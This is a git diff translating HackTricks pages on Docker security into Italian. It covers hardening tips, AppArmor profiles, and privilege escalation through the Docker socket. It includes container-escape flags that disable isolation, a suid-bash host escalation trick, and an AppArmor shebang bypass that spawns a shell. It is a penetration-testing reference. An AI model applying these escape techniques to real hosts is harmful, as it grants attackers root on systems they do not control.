to Container. -- Have **smaller** container **images** +- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket docker consente di avviare container, quindi è un modo semplice per prendere il controllo completo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`. +- **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**spazi dei nomi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** L'utente root nel container è lo stesso dell'host a meno che non venga rimappato con gli spazi dei nomi utente. È solo leggermente limitato da, principalmente, spazi dei nomi Linux, capacità e cgroups. +- [**Elimina tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilita solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco. +- [**Utilizza l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid. +- [**Limita le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service. +- **Regola** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** profili per limitare le azioni e le syscalls disponibili per il container al minimo necessario. +- **Utilizza** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedi firme** o costruisci le tue basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conserva le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP. +- **Ricostruisci regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.** +- Gestisci i tuoi **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi. +- Se **esponi il demone docker utilizza HTTPS** con autenticazione client e server. +- Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip. +- Avere **container separati per ogni micro-servizio** +- **Non mettere ssh** all'interno del container, “docker exec” può essere utilizzato per ssh nel Container. +- Avere **immagini di container più piccole** ## Docker Breakout / Privilege Escalation -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +Se sei **all'interno di un container docker** o hai accesso a un utente nel **gruppo docker**, potresti provare a **fuggire e aumentare i privilegi**: {{#ref}} docker-breakout-privilege-escalation/ {{#endref}} -## Docker Authentication Plugin Bypass +## Bypass del Plugin di Autenticazione Docker -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +Se hai accesso al socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, controlla se puoi **bypassarlo:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -402,10 +354,10 @@ authz-and-authn-docker-access-authorization-plugin.md ## Hardening Docker -- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best practices comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ +Devi eseguire lo strumento dall'host che esegue docker o da un container con privilegi sufficienti. Scopri **come eseguirlo nel README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). -## References +## Riferimenti - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) @@ -421,12 +373,5 @@ authz-and-authn-docker-access-authorization-plugin.md - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a23a6b769..44f29477b 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,43 +1,43 @@ -# Abusing Docker Socket for Privilege Escalation +# Abusare del Docker Socket per l'Escalation dei Privilegi {{#include ../../../banners/hacktricks-training.md}} -There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +Ci sono alcune occasioni in cui hai **accesso al docker socket** e vuoi usarlo per **escalare i privilegi**. Alcune azioni potrebbero essere molto sospette e potresti voler evitarle, quindi qui puoi trovare diversi flag che possono essere utili per escalare i privilegi: ### Via mount -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +Puoi **montare** diverse parti del **filesystem** in un container in esecuzione come root e **accedervi**.\ +Potresti anche **abusare di un mount per escalare i privilegi** all'interno del container. -- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - - If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - - `--privileged` - - `--cap-add=ALL` - - `--security-opt apparmor=unconfined` - - `--security-opt seccomp=unconfined` - - `-security-opt label:disable` - - `--pid=host` - - `--userns=host` - - `--uts=host` - - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - - Run `fdisk -l` in the host to find the `` device to mount -- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +- **`-v /:/host`** -> Monta il filesystem dell'host nel container in modo da poter **leggere il filesystem dell'host.** +- Se vuoi **sentirti come se fossi nell'host** ma essere nel container, potresti disabilitare altri meccanismi di difesa usando flag come: +- `--privileged` +- `--cap-add=ALL` +- `--security-opt apparmor=unconfined` +- `--security-opt seccomp=unconfined` +- `-security-opt label:disable` +- `--pid=host` +- `--userns=host` +- `--uts=host` +- `--cgroupns=host` +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Questo è simile al metodo precedente, ma qui stiamo **montando il disco del dispositivo**. Poi, all'interno del container esegui `mount /dev/sda1 /mnt` e puoi **accedere** al **filesystem dell'host** in `/mnt` +- Esegui `fdisk -l` nell'host per trovare il dispositivo `` da montare +- **`-v /tmp:/host`** -> Se per qualche motivo puoi **solo montare una directory** dall'host e hai accesso all'interno dell'host. Montala e crea un **`/bin/bash`** con **suid** nella directory montata in modo da poter **eseguirlo dall'host e escalare a root**. > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> Nota che forse non puoi montare la cartella `/tmp` ma puoi montare una **differente cartella scrivibile**. Puoi trovare directory scrivibili usando: `find / -writable -type d 2>/dev/null` > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Nota che non tutte le directory in una macchina linux supporteranno il bit suid!** Per controllare quali directory supportano il bit suid esegui `mount | grep -v "nosuid"` Ad esempio, di solito `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` e `/var/lib/lxcfs` non supportano il bit suid. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> Nota anche che se puoi **montare `/etc`** o qualsiasi altra cartella **contenente file di configurazione**, potresti modificarli dal container docker come root per **abusarli nell'host** e escalare i privilegi (magari modificando `/etc/shadow`) -### Escaping from the container +### Uscire dal container -- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +- **`--privileged`** -> Con questo flag [rimuovi tutta l'isolamento dal container](docker-privileged.md#what-affects). Controlla le tecniche per [uscire da container privilegiati come root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Per [escalare abusando delle capacità](../linux-capabilities.md), **concedi quella capacità al container** e disabilita altri metodi di protezione che potrebbero impedire il funzionamento dell'exploit. ### Curl -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +In questa pagina abbiamo discusso modi per escalare i privilegi usando flag docker, puoi trovare **modi per abusare di questi metodi usando il comando curl** nella pagina: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 0455067e0..bea22ec18 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -2,31 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions. +AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo accesso direttamente ai programmi invece che agli utenti. Questo sistema opera **caricando profili nel kernel**, di solito durante l'avvio, e questi profili determinano quali risorse un programma può accedere, come connessioni di rete, accesso a socket raw e permessi di file. -There are two operational modes for AppArmor profiles: +Ci sono due modalità operative per i profili di AppArmor: -- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd. -- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions. +- **Modalità di applicazione**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando le azioni che violano queste politiche e registrando eventuali tentativi di violazione attraverso sistemi come syslog o auditd. +- **Modalità di segnalazione**: A differenza della modalità di applicazione, la modalità di segnalazione non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni delle politiche senza applicare restrizioni. -### Components of AppArmor +### Componenti di AppArmor -- **Kernel Module**: Responsible for the enforcement of policies. -- **Policies**: Specify the rules and restrictions for program behavior and resource access. -- **Parser**: Loads policies into the kernel for enforcement or reporting. -- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor. +- **Modulo del kernel**: Responsabile dell'applicazione delle politiche. +- **Politiche**: Specificano le regole e le restrizioni per il comportamento dei programmi e l'accesso alle risorse. +- **Parser**: Carica le politiche nel kernel per l'applicazione o la segnalazione. +- **Utilità**: Questi sono programmi in modalità utente che forniscono un'interfaccia per interagire e gestire AppArmor. -### Profiles path +### Percorso dei profili -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +I profili di AppArmor sono solitamente salvati in _**/etc/apparmor.d/**_\ +Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se puoi cambiare il carattere "/" con un punto nel percorso di ciascun binario elencato, otterrai il nome del profilo di AppArmor all'interno della cartella menzionata. -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -### Commands +Ad esempio, un **profilo di apparmor** per _/usr/bin/man_ si troverà in _/etc/apparmor.d/usr.bin.man_ +### Comandi ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -36,47 +35,41 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +## Creazione di un profilo -## Creating a profile - -- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -- To indicate the access the binary will have over **files** the following **access controls** can be used: - - **r** (read) - - **w** (write) - - **m** (memory map as executable) - - **k** (file locking) - - **l** (creation hard links) - - **ix** (to execute another program with the new program inheriting policy) - - **Px** (execute under another profile, after cleaning the environment) - - **Cx** (execute under a child profile, after cleaning the environment) - - **Ux** (execute unconfined, after cleaning the environment) -- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -- **Deny rules are supported to override allow rules**. +- Per indicare l'eseguibile interessato, **i percorsi assoluti e i caratteri jolly** sono consentiti (per il file globbing) per specificare i file. +- Per indicare l'accesso che il binario avrà su **file** possono essere utilizzati i seguenti **controlli di accesso**: +- **r** (lettura) +- **w** (scrittura) +- **m** (mappatura della memoria come eseguibile) +- **k** (blocco del file) +- **l** (creazione di hard link) +- **ix** (eseguire un altro programma con la nuova politica ereditata) +- **Px** (eseguire sotto un altro profilo, dopo aver ripulito l'ambiente) +- **Cx** (eseguire sotto un profilo figlio, dopo aver ripulito l'ambiente) +- **Ux** (eseguire senza restrizioni, dopo aver ripulito l'ambiente) +- **Le variabili** possono essere definite nei profili e possono essere manipolate dall'esterno del profilo. Ad esempio: @{PROC} e @{HOME} (aggiungere #include \ al file del profilo) +- **Le regole di negazione sono supportate per sovrascrivere le regole di autorizzazione**. ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +Per iniziare facilmente a creare un profilo, apparmor può aiutarti. È possibile fare in modo che **apparmor ispezioni le azioni eseguite da un binario e poi ti consenta di decidere quali azioni vuoi consentire o negare**.\ +Devi solo eseguire: ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +Quindi, in una console diversa, esegui tutte le azioni che il binario eseguirà di solito: ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +Poi, nella prima console premi "**s**" e poi nelle azioni registrate indica se vuoi ignorare, consentire o altro. Quando hai finito premi "**f**" e il nuovo profilo sarà creato in _/etc/apparmor.d/path.to.binary_ > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever +> Usando i tasti freccia puoi selezionare cosa vuoi consentire/negare/altro ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +Puoi anche creare un modello di un profilo apparmor di un binario con: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary # No template variables specified "/path/to/binary" { - #include +#include - # No abstractions specified +# No abstractions specified - # No policy groups specified +# No policy groups specified - # No read paths specified +# No read paths specified - # No write paths specified +# No write paths specified } ``` - > [!NOTE] -> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. - -You can then **enforce** the new profile with +> Nota che per impostazione predefinita in un profilo creato nulla è consentito, quindi tutto è negato. Dovrai aggiungere righe come `/etc/passwd r,` per consentire la lettura del binario `/etc/passwd`, ad esempio. +Puoi quindi **applicare** il nuovo profilo con ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### Modificare un profilo dai log -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +Il seguente strumento leggerà i log e chiederà all'utente se desidera consentire alcune delle azioni vietate rilevate: ```bash sudo aa-logprof ``` - > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever - -### Managing a Profile +> Utilizzando i tasti freccia puoi selezionare cosa vuoi consentire/nnegare/qualunque cosa +### Gestire un Profilo ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` - ## Logs -Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - +Esempio di log **AUDIT** e **DENIED** da _/var/log/audit/audit.log_ dell'eseguibile **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +Puoi anche ottenere queste informazioni utilizzando: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` - ## Apparmor in Docker -Note how the profile **docker-profile** of docker is loaded by default: - +Nota come il profilo **docker-profile** di docker venga caricato per impostazione predefinita: ```bash sudo aa-status apparmor module is loaded. 50 profiles are loaded. 13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/chromium-browser/chromium-browser//browser_java - /usr/lib/chromium-browser/chromium-browser//browser_openjdk - /usr/lib/chromium-browser/chromium-browser//sanitized_helper - /usr/lib/connman/scripts/dhclient-script - docker-default +/sbin/dhclient +/usr/bin/lxc-start +/usr/lib/NetworkManager/nm-dhcp-client.action +/usr/lib/NetworkManager/nm-dhcp-helper +/usr/lib/chromium-browser/chromium-browser//browser_java +/usr/lib/chromium-browser/chromium-browser//browser_openjdk +/usr/lib/chromium-browser/chromium-browser//sanitized_helper +/usr/lib/connman/scripts/dhclient-script +docker-default ``` +Per impostazione predefinita, il **profilo docker-default di Apparmor** è generato da [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +**Riepilogo del profilo docker-default**: -**docker-default profile Summary**: - -- **Access** to all **networking** -- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -- **Writing** to any **/proc** file is **not allowed** -- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -- **Mount** is **not allowed** -- **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +- **Accesso** a tutta la **rete** +- **Nessuna capacità** è definita (Tuttavia, alcune capacità verranno incluse dalle regole di base, ad es. #include \) +- **Scrittura** su qualsiasi file di **/proc** è **non consentita** +- Altre **sottodirectory**/**file** di /**proc** e /**sys** hanno accesso in lettura/scrittura/blocco/link/esecuzione **negato** +- **Montaggio** è **non consentito** +- **Ptrace** può essere eseguito solo su un processo che è confinato dallo **stesso profilo apparmor** +Una volta che **esegui un container docker**, dovresti vedere il seguente output: ```bash 1 processes are in enforce mode. - docker-default (825) +docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +Nota che **apparmor bloccherà anche i privilegi delle capacità** concessi al container per impostazione predefinita. Ad esempio, sarà in grado di **bloccare il permesso di scrivere all'interno di /proc anche se la capacità SYS_ADMIN è concessa** perché per impostazione predefinita il profilo apparmor di docker nega questo accesso: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +Devi **disabilitare apparmor** per bypassare le sue restrizioni: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +Nota che per impostazione predefinita **AppArmor** **vietera' al container di montare** cartelle dall'interno anche con la capacità SYS_ADMIN. -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +Nota che puoi **aggiungere/rimuovere** **capacità** al container docker (questo sarà comunque limitato da metodi di protezione come **AppArmor** e **Seccomp**): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -- `--cap-add=ALL` give all caps -- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +- `--cap-add=SYS_ADMIN` dà la capacità `SYS_ADMIN` +- `--cap-add=ALL` dà tutte le capacità +- `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuove tutte le capacità e dà solo `SYS_PTRACE` > [!NOTE] -> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +> Di solito, quando **scopri** di avere una **capacità privilegiata** disponibile **all'interno** di un **container** **docker** **ma** che una parte dell'**exploit non funziona**, questo sarà perché **apparmor di docker lo sta impedendo**. -### Example +### Esempio -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +(Esempio da [**qui**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) +Per illustrare la funzionalità di AppArmor, ho creato un nuovo profilo Docker “mydocker” con la seguente riga aggiunta: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +Per attivare il profilo, dobbiamo fare quanto segue: ``` sudo apparmor_parser -r -W mydocker ``` - -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. - +Per elencare i profili, possiamo eseguire il seguente comando. Il comando qui sotto sta elencando il mio nuovo profilo AppArmor. ``` $ sudo apparmor_status | grep mydocker - mydocker +mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +Come mostrato di seguito, otteniamo un errore quando cerchiamo di modificare “/etc/” poiché il profilo AppArmor impedisce l'accesso in scrittura a “/etc”. ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` - ### AppArmor Docker Bypass1 -You can find which **apparmor profile is running a container** using: - +Puoi scoprire quale **profilo apparmor sta eseguendo un container** usando: ```bash docker inspect 9d622d73a614 | grep lowpriv - "AppArmorProfile": "lowpriv", - "apparmor=lowpriv" +"AppArmorProfile": "lowpriv", +"apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +Poi, puoi eseguire la seguente riga per **trovare il profilo esatto in uso**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` - -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. +In un caso strano puoi **modificare il profilo docker di apparmor e ricaricarlo.** Potresti rimuovere le restrizioni e "bypassarle". ### AppArmor Docker Bypass2 -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. +**AppArmor è basato sui percorsi**, questo significa che anche se potrebbe essere **protetto** file all'interno di una directory come **`/proc`**, se puoi **configurare come il container verrà eseguito**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e non **sarà più protetta da AppArmor**. ### AppArmor Shebang Bypass -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: - +In [**questo bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) puoi vedere un esempio di come **anche se stai impedendo l'esecuzione di perl con determinate risorse**, se crei semplicemente uno script shell **specificando** nella prima riga **`#!/usr/bin/perl`** e **esegui il file direttamente**, sarai in grado di eseguire qualsiasi cosa tu voglia. E.g.: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 3cef5bc8e..1c6c35a8a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,75 +1,70 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +Il modello di **autorizzazione** di **Docker** è **tutto o niente**. Qualsiasi utente con permesso di accedere al demone Docker può **eseguire qualsiasi** comando del client Docker. Lo stesso vale per i chiamanti che utilizzano l'API Engine di Docker per contattare il demone. Se hai bisogno di **maggiore controllo degli accessi**, puoi creare **plugin di autorizzazione** e aggiungerli alla configurazione del demone Docker. Utilizzando un plugin di autorizzazione, un amministratore Docker può **configurare politiche di accesso granulari** per gestire l'accesso al demone Docker. -# Basic architecture +# Architettura di base -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +I plugin di autorizzazione Docker sono **plugin esterni** che puoi utilizzare per **consentire/nnegare** **azioni** richieste al demone Docker **a seconda** dell'**utente** che le ha richieste e dell'**azione** **richiesta**. -**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** +**[Le seguenti informazioni provengono dalla documentazione](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +Quando viene effettuata una **richiesta HTTP** al **demone** Docker tramite la CLI o tramite l'API Engine, il **sottosistema di autenticazione** **trasmette** la richiesta ai **plugin di autenticazione** installati. La richiesta contiene l'utente (chiamante) e il contesto del comando. Il **plugin** è responsabile della decisione di **consentire** o **negare** la richiesta. -The sequence diagrams below depict an allow and deny authorization flow: +I diagrammi di sequenza qui sotto mostrano un flusso di autorizzazione di consentire e negare: -![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) +![Flusso di autorizzazione consentito](https://docs.docker.com/engine/extend/images/authz_allow.png) -![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) +![Flusso di autorizzazione negato](https://docs.docker.com/engine/extend/images/authz_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either 